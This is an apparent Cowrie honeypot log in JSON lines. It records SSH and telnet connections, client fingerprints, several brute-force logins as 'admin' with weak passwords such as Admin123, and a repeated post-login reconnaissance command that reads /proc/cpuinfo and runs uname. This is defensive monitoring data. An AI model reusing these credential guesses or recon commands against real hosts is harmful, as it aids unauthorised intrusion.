ha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.232554Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123","message":"login attempt [admin/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.245871Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.290011Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.293618Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.297747Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.309510Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.316507Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4a1df609160","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: b4a1df609160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.105720Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.219466Z","src_ip":"77.90.185.16","session":"b4a1df609160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44616,"dst_ip":"159.203.135.109","dst_port":22,"session":"c07b209ebd28","protocol":"ssh","message":"New connection: 159.203.92.129:44616 (159.203.135.109:22) [session: c07b209ebd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.224501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.229124Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.234526Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123!@#","message":"login attempt [admin/Admin123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.248024Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.297885Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.302038Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.306343Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.319586Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:59:35.326893Z","src_ip":"159.203.92.129","session":"c07b209ebd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53168,"dst_ip":"159.203.135.109","dst_port":22,"session":"74e8f2e4ee53","protocol":"ssh","message":"New connection: 159.203.92.129:53168 (159.203.135.109:22) [session: 74e8f2e4ee53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:25.747101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:25.855783Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:25.861214Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123456","message":"login attempt [admin/Admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:26.796684Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:27.017778Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:27.021637Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:27.026752Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:27.124715Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:00:27.130734Z","src_ip":"159.203.92.129","session":"74e8f2e4ee53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53112,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca1a6dec4af8","protocol":"ssh","message":"New connection: 192.109.200.78:53112 (10.17.0.5:22) [session: ca1a6dec4af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:09.895219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:09.900034Z","src_ip":"192.109.200.78","session":"ca1a6dec4af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:09.985299Z","src_ip":"192.109.200.78","session":"ca1a6dec4af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50448,"dst_ip":"159.203.135.109","dst_port":22,"session":"9db2a87d88d1","protocol":"ssh","message":"New connection: 159.203.92.129:50448 (159.203.135.109:22) [session: 9db2a87d88d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.006935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.012107Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.179787Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123456!","message":"login attempt [admin/Admin123456!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.328957Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.550102Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.553692Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.557841Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.569340Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:10.573963Z","src_ip":"159.203.92.129","session":"9db2a87d88d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:17.895375Z","src_ip":"192.109.200.78","session":"ca1a6dec4af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51996,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20eb6d224e6","protocol":"telnet","message":"New connection: 206.189.71.75:51996 (159.203.135.109:23) [session: c20eb6d224e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:27.460553Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52124,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc7a4f722f3d","protocol":"telnet","message":"New connection: 206.189.71.75:52124 (159.203.135.109:23) [session: bc7a4f722f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:27.590433Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52640,"dst_ip":"159.203.135.109","dst_port":23,"session":"fea6abf1b58c","protocol":"telnet","message":"New connection: 206.189.71.75:52640 (159.203.135.109:23) [session: fea6abf1b58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:28.114200Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51716,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4b7de2b52c3","protocol":"telnet","message":"New connection: 206.189.71.75:51716 (159.203.135.109:23) [session: c4b7de2b52c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:28.261134Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51974,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4c0d7a2c0e","protocol":"telnet","message":"New connection: 206.189.71.75:51974 (159.203.135.109:23) [session: 1d4c0d7a2c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:28.440974Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":54236,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef2f96191780","protocol":"telnet","message":"New connection: 206.189.71.75:54236 (159.203.135.109:23) [session: ef2f96191780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:29.686061Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":54302,"dst_ip":"159.203.135.109","dst_port":23,"session":"e55e84e2dfd9","protocol":"telnet","message":"New connection: 206.189.71.75:54302 (159.203.135.109:23) [session: e55e84e2dfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:29.711948Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d1e06aee5c4","protocol":"telnet","message":"New connection: 206.189.71.75:54742 (159.203.135.109:23) [session: 6d1e06aee5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:30.234585Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":54772,"dst_ip":"159.203.135.109","dst_port":23,"session":"a97770c6ce92","protocol":"telnet","message":"New connection: 206.189.71.75:54772 (159.203.135.109:23) [session: a97770c6ce92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:30.253721Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":54142,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1f8e628f1b0","protocol":"telnet","message":"New connection: 206.189.71.75:54142 (159.203.135.109:23) [session: b1f8e628f1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:31.620631Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":56516,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8d12db8d890","protocol":"telnet","message":"New connection: 206.189.71.75:56516 (159.203.135.109:23) [session: b8d12db8d890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:33.891605Z"}
